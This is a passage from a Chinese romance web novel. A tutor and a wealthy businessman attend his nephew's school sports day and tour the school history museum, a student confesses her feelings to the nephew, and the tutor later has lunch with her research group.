两人到操场时,学生还在听校长的动员讲话,一个个男生女生穿的五花八门,乔听月一眼锁定百米外学生的技能因此失效。
她盯了半晌,问道:“陆先生,您看见小信了吗?”
陆忱有运动会经验,知道如何按照站位找人,但是眼下,他根本不想承认那个一身荧光绿的人是他外甥。
他本想说没看见,扭头对上乔听月信任的目光,沉默半晌,伸出手指了下,“瓜片炒蛋,瓜片倒数第三个。”
瓜片炒蛋?
这是方队队名吗?
乔听月狐疑地望过去,对陆忱的毒舌程度有了初步了解。
祝承信班审美离奇,不排除是打着标新立异的主意,在一众礼服和cos服中,他们穿了一身秧歌服。
男穿绿,女穿黄。
混在一起可不就是瓜片炒蛋么。
默默吐槽了他们班的审美后,又感叹现在小孩的身高。
祝承信一米七,在班里排倒第三,粗略看过去,一米八以上的至少二十个。
乔听月咂舌,“是不是有点营养过剩了。”
陆忱扭头,视线在她头顶扫过。
她是不是忘了自己比祝承信还高两位小数点。
“他们进体育馆了,我们快跟上。”
衣袖被少女轻轻拉扯又放开,陆忱怔了一瞬,沉如墨的眸子闪了闪,忙跟上脚步。
这只是乔听月的小习惯,她甚至没意识到自己对陆忱动了手。
进入体育馆,陆忱带着乔听月找九班的位置,奇怪的是,九班观众席只有老师和若干家长,学生全都不在。
两人一出现,周遭全都安静下来。
陆忱大步跨上观众席,转身把乔听月拉上来,姿态自然,其他人却惊掉眼珠子。
不是说陆忱不近女色吗?
这是什么情况?
“陆先生,您也来了。”班主任对身边的家长说了句抱歉,热情地迎接陆忱。
家长不敢责怪老师,面对陆忱,他甚至连句势力眼都不敢说出口。
陆忱颔首,“这是小信的生活老师,乔听月。”
“久仰久仰。”班主任握住乔听月的手晃了晃,笑容亲切非常。
乔听月被她的热情吓了一跳,忙回握谦虚地寒暄。
班主任主动解释:“多亏有你,祝承信最近学习劲头很足,作业完成度也高了,各科老师都跟我夸他,乔老师功不可没啊。”
原来是这样。
一个不听课不写作业的叛逆学生,忽然开始交作业记笔记,可不是学习劲头高涨嘛。
乔听月心安理得承了这句夸奖,关心道:“学生们都去哪了?”
“换衣服去了,”班主任抬了抬下巴,“喏,回来了。”
“舅舅?!”祝承信喊破音,看见他身后的乔听月,更加不可置信,“你们怎么来了?”
“来给你加油呀。”乔听月说。
祝承信耳根通红,“我又没报项目,你加什么油?”
“请高三九班祝承信同学听到广播后,立刻佩戴号码牌到赛马场集合!
“再说一遍,请高三九班祝承信同学听到广播后,立刻佩戴号码牌到赛马场集合,否则判为弃权!”
乔听月挑眉,打趣道:“你们班还有一个祝承信?重名了?”
班里同学没催他,个个眨巴着眼睛看热闹。
他们对祝承信最近的改变很感兴趣,对学校门口舌战泼妇的乔听月更感兴趣。
“还是快过去吧,不然要取消资格了。”
说话的声音细且柔,听起来是个文静的女孩子。
乔听月看向说话的人,“你就是宋诗灵同学吧?”
宋诗灵看了看祝承信,见他抿着唇,点了点头,“你好姐姐。”
乔听月笑了,还是小女生会说话,祝承信这臭小孩跟人家同桌大半年,一点优点都没学到。
陆忱的视线也落在宋诗灵脸上,很快收回来,对祝承信道:“走吧,别给班级拖后腿。”
室内外比赛同步进行,一部分同学跟着祝承信去赛马场。
到位后做了登记,祝承信去更衣室换衣服。
学生们对陆忱有一种盲目的崇拜,一双双眼睛布灵布灵,有意无意往他身上瞟。
上了观众席,陆忱被众星拱月围在中央,拥有最佳视野。
乔听月坐下后顾盼张望,对边缘的女生招手,“诗灵,来我这!”
宋诗灵羞羞答答地坐过来,“姐姐,我在那边看就行。”
“我这视野好,正好你跟我讲讲小信,我和他舅舅非常想了解他的学校生活,”乔听月轻轻用手肘碰了下身边的人,“对吧,陆先生?”
“对。”陆忱附和,靠近了些。
肉眼可见,宋诗灵更紧张了。
“他在学校很好,尊师重道,热爱学习,乐于助人。”
乔听月只信了最后的乐于助人,祝承信说过他帮过宋诗灵,才会被缠上。
还得再观察。
不过宋诗灵现在的模样,倒是让她想起当初面对陆忱时紧张兮兮的表现,怪不得陆忱忍不住劝她,这也太明显了。
“你不用紧张,”乔听月从背包里翻出一块糖,“学校违禁品,别有滋味。”
陆忱忍俊不禁,轻轻的哼笑传进乔听月耳朵,惹得她忍不住抓捻耳垂。
骨节分明的手掌伸过来,音调带点痞:“乔老师,也给我一块违禁品。”
“要什么口味?”
“你觉得好吃的。”
乔听月精挑细选出一块蓝莓味的,放到他掌心,“糖纸别扔,我带了垃圾袋。”
大风天吃东西容易肚子疼,吃糖只需要含着就行,所以她只带了糖果。
因为今天要摄像,拍下锦新学子朝气蓬勃的面貌,校领导三令五申不允许吃零食。
现在看乔听月带了糖,学生们都忍不住伸小手。
当然是见者有份。
校运会是大日子,校长四处巡视,见状眉头一皱就要训斥,眼睛扫
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到学生堆里正襟危坐的陆忱,眼皮啪啪连跳两下。
学校进来尊大佛,怎么没人告诉他!
保安干什么吃的?
观众席已经坐满了,校长只能走到下面,仰起脖子跟陆忱打招呼,一个劲偷瞄乔听月的背包。
乔听月还不至于顶风作案,乖乖抱住背包,收集糖纸扔掉。
校长这么有眼色,陆忱不会下他面子,扭头对乔听月嘱咐:“我很快回来,有事给我打电话。”
乔听月早有预料,陆忱只要被发现就没法低调,颔首道:“您去忙吧,一会我给小信录像。”
出口离得远,陆忱不麻烦坐好的学生,长腿一跨,轻飘飘跳下看台。
校长一把老骨头抖了三抖,“陆总,有失远迎啊!”
陆忱和校长走远,学生们像炸开了锅,立刻沸腾起来,围着乔听月叽叽喳喳个不停。
“姐姐,你真是祝承信的老师啊?”
“是啊,他没说过吗?”
“我们问过,他不搭理我们。”
“小信很喜欢交朋友的,就是害羞,”乔听月见不得学生不友好,给他挽尊,“他游戏打得特别好,你们邀请他一定会同意的。”
她接着问:“他这次为什么报赛马?”
同学们发出暧昧的笑声。
“姐姐,这你得问小宋了。”
宋诗灵脸通红,“你们别胡说!祝同学是为了班级,和我没关系!”
“好了好了,有运动员准备了,专心看吧。”
乔听月相当有教师范儿,维护完秩序,她拉着宋诗灵,小声道:“你别着急,小孩都爱起哄,我相信你们就是朋友。”
宋诗灵沉默下来。
比赛热火朝天地进行着,马蹄飞快溅起沙尘,骑手伏在马背上,少年朝气蓬勃一往无前。
追逐,超越,冲线。
呐喊一声高过一声。
震耳欲聋的声浪中,插进一道细柔的女孩音调。
“我喜欢他。”
乔听月意外女生的坦率,等她继续下文。
“我是资助生,家境普通,就脸长得还行,有个少爷看上我,逼我做他女朋友,我不同意。那天他带了几个人把我堵在体育馆后墙,是祝承信帮了我。
“当时他没告诉我名字,后来他进班自我介绍,我一眼就认出来是他。”
乔听月懂了。
英雄救美,一见钟情。
老掉牙的桥段永不过时。
转念又一想,锦新的潜规则是该好好整治了,小小年纪竟然做出这种腌臜事。
得跟陆忱告状,记小本本。
宋诗灵仿佛只是想倾诉,再次沉默下来。
不知道谁喊了声:“祝承信上场了!”
宋诗灵噌的站起来。
乔听月问她:“他出场了,你不看吗?”
女孩回眸对她笑,刚刚羞怯的小姑娘脱下面具,面上掩不住少年意气。
“乔老师,”她换了个称呼,“运动会,当然要给喜欢的人送水呀!”
乔听月一怔,后知后觉她是被调侃了。
这就是青春啊……
心中正感慨,视野中出现一个熟悉的身影。
她垂眸,陆忱单手撑着台子翻上来,不等她说话,他伸出另一只手,如玉的手指关节被风吹红,指腹却是被烫的。
“玫瑰红茶,暖胃。”
22. 黑历史
【运动会,当然要给喜欢的人送水呀!】
乔听月脑子里嗡的一声,小女孩细柔却坚定的嗓音再次浮现。
她蓦地怔住没有动作。
陆忱举了一会儿,“怎么了?不爱喝这个?”
“不是,谢谢您,”乔听月接过红茶,“您不是和校长聊天吗?”
陆忱靠着座椅,两条长腿无处安放,只能委委屈屈地并齐,腕骨搭在膝盖上。
“说两句就散了,正好超市摆摊卖水,就这个热乎。”
说着,他从外套口袋里拿出能量饮料,拧开瓶盖喝了一口。
“挺多年没喝过了,还是这个味。”
乔听月乱跳的心脏平静下来,原来不是特意给她买的。
一时脑热,差点误会他心思不纯。
起点处似乎有些小问题,骑手一直候场,乔听月担心祝承信吹风生病,焦急地张望。
“估计是上一场有人不满意比赛结果,闹起来了。”陆忱轻声说。
乔听月扭头看向他,想起他算是校友,“您参加过运动会吗?”
“参加过,”陆忱一抬下巴,“赛马。”
学生大胆插话:“姐,陆学长是我们学校赛马记录保持者,校史馆有学长比赛获奖的照片。”
“还有还有,陆学长代表咱学校参加过全国网球联赛,少年组第一。”
“书法比赛优秀奖。”
“4X200米自由泳接力赛第一。”
……
如数家珍
“我们校史馆的奖杯,有一整排都是陆学长的!”
陆忱似是没听见学生吹捧,望着远处起点,阳光从他高挺的鼻梁上滑落,勾勒出完美的下颌线。
直到察觉到身边人的视线,他才转过头,少女圆圆的小鹿眼浸润着与学生如出一辙的崇拜,饶是他也难以招架。
“乔老师,怎么这么看我?”
乔听月忍不住赞叹:“您太厉害了!一会儿小信比完赛,我能去参观校史馆吗?”
陆忱心中像是陷进去一块棉花糖,舌尖的蓝莓味再次复现。
“当然可以,我带你去。”
“砰!”
信号枪发射,十匹马齐齐冲出闸门。
“开始了!”
乔听月的注意力瞬间转移到赛场上,试图在十个身形相近的少年中分辨出祝承信。
少年们都戴着头盔墨镜,伏低身体,远远看着都一样,她申请场外求助:“小信是几号?”
竞技类比赛最容易激起热血,学生们一股脑涌向前排,给同学加油助威。
有人忙里偷闲回了一句:“六号。”
六号和十号并驾齐驱,第一个压弯,十号领先,六号发力追逐,身后还有二号虎视眈眈。
赛马速度飞快,很快来到看台下。
学生们拿着大喇叭:“祝承信!加油!”
混乱之中,有人往乔听月手里塞了一个拍手器。
不忘催促:“快点加油。”
乔听月举起拍手器摇晃,另一只手靠在唇边作喇叭,和学生们齐齐喊:“祝承信!加油!”
比赛如火如荼地进行,赛场内选手心无旁骛,唯独六号偏了下头。
一晃而过,六号开始提速,奋起直追,不等压弯便直线越过十号,将所有人甩在后面。
“啊啊啊啊!六号好快!”
“那是谁那是谁,太帅了,我要去加他微信!”
“卧槽,这哥们飞起来了——”
九班同学更激动,乔听月本就在最前面,被他们挤压着贴在看台边缘,偏她自己沉浸在气氛中,没注意面临危险。
祝承信领先后,陆忱重新将视线投入啦啦队。乔听月混在学生中并不违和,笑闹欢呼,白皙小脸洋溢着甜甜的笑容,真切地享受其中。
眼见乔听月身体大幅度前倾,他眼疾手快抓住她的帽子,将她扯住提出人群。
乔听月被提回来依旧惊魂未定,捂着胸口,耳边心跳声如擂鼓般作响。
这要是从看台上掉下去可不是闹着玩的。
一趟骨科门诊跑不掉。
“谢谢您。”乔听月道谢。
陆忱帮她整理围巾,神态严肃:“第几次了?”
乔听月把勾坏的线条藏了藏,尴尬道:“以后一定注意。”
陆忱舍不得对她说重话,她又一副真心悔过的模样,无奈道:“就这么激动?”
乔听月重重点头,“这是我第一次参加运动会。”
陆忱没想到是这个答案。
“我初中是风纪部的,每次运动会都是志愿者,扯旗、计分、跑腿,有活就干。高中抓升学率,运动会只有高一高二能参加,高一我参加竞赛错过了,高二我爷爷去世又错过了。”
“大学呢?”
乔听月耸肩,“忙着当卷王啊,他们运动会,我在课题组搬砖。”
她的成长历程就是在不断错过各年龄本段该拥有的东西。
说话间,祝承信和宋诗灵一起回来,九班同学迎上去围着他夸。
乔听月等他们庆祝结束,才走上前,拍拍他肩膀,“恭喜夺冠。”
祝承信一脸得意,臭屁道:“我听见你给我加油了。”
接着看向她身后,眼底闪着光,“舅舅,我和你的记录就差0.2秒。”
跑到最后身边没有压力,冲线的时候慢了一步,通失记录。
陆忱看出他的小心思,用力揉他脑袋,“以后比比,让乔老师当裁判。”
乔听月笑着附和:“好啊,接受黑幕哦。”
“怎么贿赂裁判?”陆忱问。
乔听月对他摇摇手指,“陆先生不行,小信可以。”
祝承信当下正飘,“说说。”
“少玩一小时游戏,给你少算0.1秒,怎么样,心动不心动?”
祝承信不敢心动,面无表情地收回视线,“舅舅,一会你能给我颁奖吗?这样咱俩就能一起挂在校史馆墙上了。”
乔听月差点笑呛住。
陆忱:“……”
好不吉利的一张嘴。
但还是答应了他的请求。
合影环节,陆忱和几个获奖的学生一起在颁奖台下合影留念。
结束后,陆忱对乔听月招手,“乔老师,一起合个影吧。”
乔听月欣然同意,站到祝承信另一边,提议:“要不要摆个pose。”
祝承信尴尬:“摆什么?”
“剪刀手?”乔听月只能想到这个。
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祝承信吐槽:“太傻了吧。”
陆忱捏住外甥后脖颈,“好啊。”
拍照时,乔听月和陆忱短暂对视,默契地举起手,停在祝承信头上。
拍完,祝承信凑够去:“让我看看。”
乔听月摁灭手机,“等我洗出来你再看。”
祝承信嘟囔:“什么年代了还洗照片。”
“青春留念你懂不懂,”乔听月和他争辩,“你也不想青春和内存一起清空吧?”
陆忱打断斗嘴的师生,“小信,你同学等你呢,快过去吧。”
支开外甥,他问乔听月:“去校史馆吗?现在都在看比赛,那边正好人少。”
“好啊。”
校史馆离赛马场不远,大概五分钟就到了。
进门是一副锦新校园俯瞰图,草地、湖泊、林荫道,堪比一座小城堡。
陆忱带她走到模型前,边说边用手指指引,“这是高三的教学楼,穿过连廊通高一高二,过桥是食堂,尖顶大楼是宿舍,我之前申请住宿,经常半夜和阿睿爬天台,有一次遇到有人过生日,他还蹭了块蛋糕。”
乔听月认真听他讲述往事,闻言问他:“您没蹭到吗?”
陆忱顿了顿,“我和那人打过架,他没给我。”
“怪不得。”乔听月憋着笑。
齐珊珊说过陆忱年轻时放荡不羁,野性难驯,可听他本人承认又感觉很奇妙。
他认为她是自己人,所以不介意被她知晓过往。
乔听月好奇:“那你们打起来没有?”
陆忱摇头,“他过生日,我懒得搭理他。”
乔听月笑而不语。
其实就是心软嘛。
介绍完学校,陆忱带她去看她最感兴趣的照片墙。
“这是您吗?”乔听月慧眼如炬,立刻锁定了大合影中的陆忱。
穿着校服,规规矩矩戴着领带,梳着高中生最喜欢的锅盖头,刘海搭在眉骨,看不出丁点桀骜,倒像个乖学生。
陆忱不太想承认这段黑历史,他明明介绍得很笼统,还是被她一眼揪了出来。
她心里有我。
他自我安慰,“这是入学时的合照,我爸也在。”
乔听月顺着他手指的方向看了看,果然看到端坐在C位的陆老先生,他身边还有言笑晏晏的一个女人,眉眼很熟悉。
“这是我姐姐,小信的妈妈。”陆忱解释。
乔听月颔首,涉及到祝承信的身世,他们向来浅谈辄止。
每年都有大合照,一趟看过来,乔听月重新认识了一次陆忱。
横恣、胆大妄为、锋芒毕露。
看了一圈,乔听月最后站在纸质物品收藏馆入口。
里面大多是优秀获奖作文和满分试卷。
她走马观花看了一圈,在最后一个玻璃柜前停下来。
为了看清内容,她弯腰,呼吸打在玻璃柜上,形成薄薄一层白雾。
她慢慢念出声:“老师们同学们,上午好,我是高二一班陆忱,在此,我将就上周末的不当行为表达我深刻的懊悔……”
陆忱正在浏览近几年的优秀毕业生照片,听见乔听月念稿子,越听越熟悉,快步过去拉住她的手臂轻轻一带。
“别看这个。”
23. 理想型
手臂上力道卸去,乔听月侧身面对陆忱。
她有点疑惑,陆忱在齐珊珊口中是个混不吝的,高中时必然是小霸王的存在,竟然会老老实实在升旗仪式上做检讨。
而且锦新是他家的产业,何方神圣能压制住他。
乔听月想不通,索性问了:“陆先生,您为什么做检讨啊?”
陆忱记不住检讨内容,但是反推全校丢人的缘由,倒是足够解答她的问题。
“帮人背锅。”
拦她是因为暂时没反应过来是哪段黑历史,现在回忆起原因,陆忱甚至淡定邀请她一起看。
两人重新凑到玻璃柜前,蓬松的外套互相挤压,发出窸窣的摩擦声。
检讨用的稿纸品质不高,年头多了略微发黄,从开头就能看出来写检讨的人很不耐烦,后篇更是放飞严重,笔画精简得不是一星半点,是检讨本人在这都复述不出来的程度。
也正是因为辨认费劲,校方才敢把陆忱独一份的检讨摆出来,就算如此,仍然担心有对笔迹“小有研究”的学生翻译出来,往上扣了个高高的玻璃罩混淆视线。
这样就算真有人认出来是陆忱的检讨书,顶多一句少年意气的笑谈,还能给学校加一层严肃滤镜,毕竟老董的儿子都得乖乖做检讨,孩子交给学校准没错。
乔听月浸淫阅卷界多年,什么狗爬字都见过,检讨书虽然障碍重重,她连蒙带猜也能概括个八九不离十。
“原来是早恋啊。”
语调听起来有些失望,好像在说不过如此。
比起这个,她更好奇背锅的事,于是偏过头。
气息倏地顿住。
好近。
男人的侧脸近在咫尺,完美的下颌线,晨起打理过后不明显的胡青,或许会有些刮指,向上是上挑的眼尾,睫毛很长,在眼底压下一片影子。
他下巴抬了抬,凸起的喉结滑动。
乔听月惊得回神,侧移两步拉开距离,垂下的眼睫快速颤动。
太失礼了。
陆忱挺直肩背,很轻地笑了声,喉结随之震颤,无视了乔听月的异常,无奈道:“当初写得太急,现在看不懂了,乔老师,你认出来了吗?”
“认出来了,一部分。”乔听月左看右看,就是不看他。
陆忱单手搭在玻璃柜上,姿态悠闲,“跟我讲讲。”
乔听月深吸一口气,口袋里手指捻了又捻。
“检讨上写,你在小树林夜会女友,撞见主任之后,拒不受捕。”
不是她用词抽象,陆忱就是这么写的。
在拒不受捕后,还写了一堆吹主任火眼金睛爱岗敬业的彩虹屁。
陆忱半晌没说话。
锅是武睿扣他头上的,检讨原稿是武睿写的,抄的时候没当回事,上台时认不出抄的是什么,就即兴来了一段。
之后主任回收检讨,他没机会了解内容真相,没想到时隔多年,回旋镖扎他身上了。
陆忱解释:“那不是我写的,我也没早恋。”
乔听月猜到了,“是给武哥背锅吧?”
没误会就好。
陆忱真怕她觉得这是“我有一个朋友”的变体,缓声应了:“嗯,锦新校规,男女生举止亲密被抓三次记过,回宿舍超时三次记过,他两个都占了。”
“铛铛铛——”
闭幕曲的鼓点回荡在校园每个角落,穿过重重玻璃门和回廊,来到相对封闭的校史馆内。
两人默契地往外走。
运动会结束,家长趁此机会游览校园,校史馆的门开开关关。
乔听月病还没好全,忙用围巾挡住冷风,余光瞥见身边男人外套敞开,冷风吹进衣领也不躲不避,暗道有肌肉保护就是了不起。
小脸闷在围巾里,说话时瓮声瓮气:“武哥应该不怕记过吧?”
“主要是怕他父亲,”陆忱走到她斜前方,“武叔叔说被记过就停了他的卡,他不敢顶风作案。”
乔听月注意到陆忱帮她挡风的动作,拨下围巾对他笑笑,“您不怕吗?”
“我怕什么,”陆忱挑眉,“我就怕他缠上我,一份饭卡养两张嘴,还嫌吃得不好。”
乔听月想到上次一起用餐,武睿确实能吃,而且对食物有独特的见解,高中时期的陆忱大概真的没耐心供他吃饭。
“喂!前面的男生女生!哪个班的!”
身后响起一声暴喝。
乔听月猝不及防吓得一哆嗦,愕然回首,只见精瘦的男人指着手牵手的男女生,大步向他们靠近,皮鞋愤怒地踩在地砖上,发出和他一样暴躁的音量。
男人穿着横条衬衫,头发精致地朝一侧抹去,眼镜厚的像啤酒盖。
乔听月猜测:“估计是主任抓小情侣呢。”
陆忱有意识避开人流,带的路都是学生们常走的小路,遇见情侣并不奇怪。
两人安安稳稳地看热闹,不想主任走出几步,猛地回头,眼里喷着火花。
“看什么看,还有你俩,一起去我办公室!”
乔听月看了看四周,没有其他人,带着疑问指向自己,“是说我们吗?”
“应该是我们。”陆忱说。
前一秒还在聊早恋,下一秒就成了早恋嫌疑人。
变身都没这么快。
真正的早恋学生见主任一人抓两对,对视一眼,扭头就跑。
如同青蛙只能看见运动的物体,他们的行为瞬间吸引了主任的注意力,见乔听月二人还算老实,离开前不忘警告:“自己去我办公室,别让我满学校找你们。”
男生女生在岔路口分开,主任想都没想就去追女生。
主任离开后,乔听月看向陆忱,对视几秒,她忍不住笑出声,玩笑道:“陆先生,要去办公室澄清一下吗?”
陆忱双手插着兜,侧首看到少女欣然的表情,勾了勾唇:“乔同学,清者自清。”
说完,不等她反应,继续沿着小路走:“走吧,该离校了。”
乔同学呆在原地。
上学时都喊名字,某某同学是最生疏的叫法,可陆忱叫她“乔同学”,慢条斯理地,不仔细听还有些一晃而过的含糊。
她感觉脸热,回神时发现陆忱已经走出好远,提起步子追上去,寻了个话题:“陆先生,主任会找我们吗?”
“会吧。”
将心比心,乔听月不想给教育工作者添麻烦,“要不还是跟他说一声。”
“不用,”陆忱从容道,“我找上门该害怕的就是他了,让他自己查监控吧。”
早恋插曲过后,两人回到体育馆找祝承信。
周五上午办运动会,下午学校开恩放假。
九班只剩下稀稀拉拉几个人,说好了让祝承信在这等他们,也不见人。
乔听月问:“你们知道小信去哪了吗?”
几个学生传递眼神,支支吾吾不说话。
陆忱走过来,“怎么了?都不知道吗?”
明明是温柔的语气,几个学生愣是感到了凉意。
“知道知道,祝同学说运动会没意思,去乒乓球馆了。”
“啊对,他说茶艺看不懂,插花太呛了。”
乔听月边走边思索,那几个学生都是去看过赛马的,跟她聊天非常积极,没道理提到祝承信就闪烁其词。
“到了。”陆忱出声打断她的思路。
乒乓球馆门户紧闭,乔听月伸手,按住把手的刹那,她想明白了。
宋诗灵行动了。
小姑娘看着柔弱,实则很有行动力,比赛时敢跟她说喜欢祝承信,必然是做出了决定。
乔听月陷入纠结,青春期的孩子最喜欢挑战规则,越阻止越跟人对着干,祝承信本身就被他外公定义为叛逆,万一贸然推门,让他误会了她和陆忱的意思,一时脑热答应下来。
谈恋爱事小,耽误小姑娘事大。
宋诗灵的成绩单她有印象,班级第一,年级第三,高考在即,可不敢让他们在感情上整活。
手中的门成了潘多拉魔盒的盖子,也许打开后,就会发生一系列难以掌控的事情。
陆忱按住她的手腕,低声道:“稍微等等吧。”
羽绒服袖子塌下去一块,随
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着手掌离开,又渐渐蓬起来。
乔听月松开手,“那我们去——”
话没说完,吱呀一声,门从里侧开了。
小姑娘看见他们显然吓到了,眼睛瞪圆,瞳孔晃了晃。
乔听月一把拉住她以免摔伤,“对不起,吓到你了吧,我们来找小信的。”
宋诗灵挣脱她的手,“他在里面。”
紧接着低头跑了。
乔听月看她背影摇摇晃晃的,紧紧蹙起眉,扭头看祝承信一脸烦躁,以为他们表白不成吵起来了。
叹了口气,“陆先生,我去看看她。”
陆忱点头,嘱咐道:“少吹风,你身体还没好。”
事实证明,陆忱的担心不是多余的。
乔听月在体育馆后墙找到宋诗灵时,心底几乎被迷惑填满。
受了情伤想藏起来独自舔舐伤口可以理解,但是,可不可以找一个保暖的地方。
“宋同学,”乔听月叫她,“喏,暖宝宝。”
宋诗灵抬头,脸已经哭花了,眼泪挂在睫毛上形成冰霜,嘴唇不知道是哭的还是冷的,不停发抖。
乔听月把暖宝宝塞在她手里,拽起她往馆里走。
“可以哭,但前提是不能生病,”体育馆后墙没有阳光,她站了一会就觉得刺骨的冷,“要是脸冻伤了,你爸妈问起来你打算怎么骗他们?”
宋诗灵本来还有挣扎的动作,听见她提起父母,终究顺从地跟着她回到体育馆。
乔听月随便找了个空教室,“愿不愿意跟我说说发生什么了,我保证不透露半个字。”
宋诗灵得她承诺,犹豫半晌,心一横说道:“我跟他表白,他拒绝了。”
意料之中,毕竟小姑娘哭这么惨,瞎子也能看出来。乔听月正要开口安慰,手被人攥住了。
宋诗灵紧紧握着乔听月的手,像是在汲取力量,她脸上写着难以置信,语气也一样:“我说‘我只是让你知道我的想法,毕业后我会正式追求你’,姐,你知道他说什么吗?”
乔听月严肃下来,她有预感,这个回答绝对不中听。
“说什么了?”
宋诗灵颇有些咬牙切齿:“他竟然说他舅舅还没女朋友,他先谈恋爱对长辈不尊重。”
乔听月沉默了。
原来找到她的时候,又哭又抖不是伤心,纯粹被那臭小子气的!
宋诗灵褪下乖乖女的伪装,抓狂道:“难道我追他之前,还要给他舅舅找个对象吗?!”
乔听月语塞,这件事已经超出了她对早恋的认知范畴。
女生坦诚自己喜欢男生,但仍然保持理智,先做了预告计划。
男生拒绝了,不是明确不喜欢,而是为了维护家庭伦理。
女生生气之后转向癫狂,痛定思痛,考虑给男生舅舅介绍对象的可能性。
她干巴巴道:“你先冷静点。”
“冷静不了,他一定是想维护我的自尊才用这种理由拒绝我,”宋诗灵说服了自己,“我如果真能让他舅舅脱单成功,他就没有理由拒绝我了。”
乔听月想给她竖大拇指。
都说初生牛犊不怕虎。
孩子,你无敌了。
这就是贵族学校创新教育的硕果吗?
宋诗灵认真地看着乔听月,“姐,你知道陆学长的理想型吗,我回去问问同学有没有合适的亲戚。”
她甚至很有逻辑,明知自家条件不行,打算从同学入手。
乔听月卡巴卡巴眼,怕刺激到神经敏感的女生,委婉道:“我不知道,你可能得亲自问陆先生。”
她希望她能知难而退。
话音刚落,有人敲门。
宋诗灵抹了抹眼睛,过去开门。
来人正是单身的舅甥俩,前者冷冷淡淡,门开后视线便在搜寻什么,后者面色讪讪,是挨骂之后的表现。
乔听月心道不好。
果不其然,宋诗灵口出狂言:“陆学长,请问您对理想型有什么要求呢?”
下一秒,陆忱望向乔听月。
坦荡,直白,又灼热。
24. 顺风车
“咚!”
心脏剧烈跳动,乔听月蓦然回神。
她顾不上此时异样的反应,扯住陆忱的袖子往教室深处走,边走边回头,“我有话和陆先生说,你俩别吵架啊。”
走到足够深的位置,乔听月用手挡住脸,神秘兮兮道:“小信和您说了吗?”
她答应了宋诗灵保守秘密,自然要信守承诺不透露一个字。
祝承信和他舅舅没有秘密,甚至沾沾自喜,觉得自己发挥得特别好。
既婉拒了早恋邀请,还保全了女孩的面子。
殊不知女孩快被他气昏了。
陆忱始终没有移开视线,学乔听月的动作,“知道了,乔老师有什么想法?”
正事当前,乔听月满心都是有可能误入歧途的少男少女,她身为老师,有义务保护祖国的花朵。
“据我分析,宋诗灵被小信气得有些精神错乱,咱们也该负起责任,”她顿了顿,看向陆忱的眼神带了些企求,“所以委屈您配合一下,随便说点特征,长头发大美女之类的,等她过后冷静下来就好了。”
陆忱没说话。
乔听月知道自己强人所难了,堂堂江城话事人,为了哄一个素不相识的高中生,属实跌份。
“陆先生……”
“我知道了,”陆忱应下,他再次确定条款,“说什么都行?”
“嗯!”乔听月重重点头。
两人回去之后,乔听月清清嗓子:“宋同学,陆先生愿意回答你的问题,但是希望你不要随意散播,这是陆氏集团的商业机密。”
总裁大人的理想型怎么不算机密呢?
万一商业对手搞美人计怎么办。
宋诗灵其实已经冷静不少,祝承信站她旁边她看都没看,生怕陆忱跟她计较刚刚的事。
听了乔听月的话,手指在嘴边一拉,“我绝对守口如瓶。”
乔听月暗示:“那介绍亲戚的事……”
“我气糊涂了,”宋诗灵上道,“还望陆学长别和我一般见识。”
陆忱矜持颔首,在三双饱含期待的目光中,薄唇轻启:“我的理想型,就乔老师这样的。”
祝承信毫不掩饰地翻了个白眼,他就知道,宋诗灵这个问题比拍马屁还贴心。
宋诗灵一时之间不知道该看谁,眼睛在两个成年人之间来来回回,最后捏着下巴陷入沉思。
当事人反而最淡定。
反正是随便说的,这样也好,求陆忱一件事,帮他树个靶子,不痛不痒的。
事办了人情也还了,双赢。
乔听月保持微笑,说起总结陈词:“好了,这件事到此为止,还有半年就要高考,我希望你们都可以安心投入学习,未来的事自有定数,不要让未知影响当下。”
她看向祝承信,“尤其是你,祸从口出,说话做事都要三思,今天的事除了在场的四个人,不许有第五个人知道。”
陆忱丝毫不意外。
乔听月就是这样,有时候过分敏感,有时候又相当迟钝。
他积极响应:“室内监控我会让人删除。”
宋诗灵低下头,惭愧道:“谢谢姐,谢谢陆学长,今天是我不对。”
乔听月拍拍她的肩膀,“年轻人嘛,一时冲动很正常,做了也不要后悔,敢拼敢追是不可多得的优点。”
宋诗灵笑中含泪:“嗯!我不后悔!”
乔听月掏出手机,“加个微信,小信在学校有什么动向你偷偷告诉我。”
“喂,密谋也尊重一下我吧。”祝承信不满。
说话间,两个女生已经交换了好友。
乔听月顺势提出不许再帮祝承信抄笔记的要求,宋诗灵果断答应。
事情圆满收尾,只有祝承信受伤的世界达成了。
——
运动会过后,连着一周大晴天。
清早,乔听月接了导师的电话说课题组有活让她帮忙,给姐姐买完早饭,匆匆忙忙赶去学校。
一直忙到中午,师兄敲敲她的桌面。
“小乔,吃午饭去,我请客吃烤鱼。”
今天课题室人非常齐,不排除是为了和唯一的小师妹打好关系,毕竟以后低头不见抬头见,还想求她帮忙搬砖。
此时都收拾完东西等她一起吃饭。
乔听月纯义务劳动,并未推辞他们的邀请,当即锁了电脑,“好的师兄,那我就蹭顿午饭啦。”
“客气了师妹,”师兄爽朗一笑,“你可是帮咱大忙了。”
一行人说说笑笑走进学校最高级的食堂,乘扶梯上顶层。
“师妹,你能吃辣的不?”
乔听月点头,“微辣可以。”
“那就行,我们几个都是无辣不欢。”
师兄接着问了要什么配餐,仔细记下来去柜台点餐挑鱼。
食堂出餐向来讲究一个快字,很快店主推着车送上来两条鱼。
“一条微辣,一条麻辣,怎么放?”
“微辣的放我这边。”短发师姐抬手招呼。
摆好鱼,米饭一碗接一碗传过来。
短发师姐给乔听月夹了一块鱼,“小心鱼刺,食堂处理不精细,饭不够了可以续。”
“谢谢师姐,我知道了。”乔听月把鱼放进口中,仔细用舌尖抿鱼肉。
鱼肉刚出锅,辛辣叠上高温buff,直接在她舌尖炸开。
乔听月小声吸气,额头有细汗渗出来。
其他人显然是习惯了,大口吃得起劲,边吃边聊天。
“这周末绿洲搞周年庆,听说全场做活动,小乔,你明天有安排不,跟我们玩去?”
忽然被cue,乔听月快速咽下食物,“不行诶,我明天还有兼职。”
“大好青春做什么兼职啊,以后你可没现在这清闲功夫了。”
“是啊,我现在想出去旅个游都得提前半个月报备。”
乔听月听着含蓄地笑笑,“我自己一个人旅游也没意思,报旅行团不自由。”
“自驾游也不错啊,你有驾照吗?”
“有的,”乔听月当初为了加分拿下小本本,“可是技术不太行,只敢在没人的路上跑。”
大家善意地哄笑。
笑着笑着,正对扶梯的师兄呆愣住,“卧槽。”
其他人不明所以扭过头。
只见扶梯口上来一群人,平时神龙见首不见尾的校领导众星拱月般环绕着一个年轻男人,同样穿着西装,后者身形挺拔如修竹,矜雅姿态将其他人衬得平平无奇。
